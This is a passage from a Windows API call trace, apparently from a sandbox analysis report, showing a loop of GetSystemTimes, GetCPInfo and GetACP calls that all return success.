lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.172] GetACP () returned 0x4e4 [0050.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.173] GetACP () returned 0x4e4 [0050.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.174] GetACP () returned 0x4e4 [0050.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.175] GetACP () returned 0x4e4 [0050.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.176] GetACP () returned 0x4e4 [0050.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.177] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.178] GetACP () returned 0x4e4 [0050.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 [0050.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.179] GetACP () returned 0x4e4 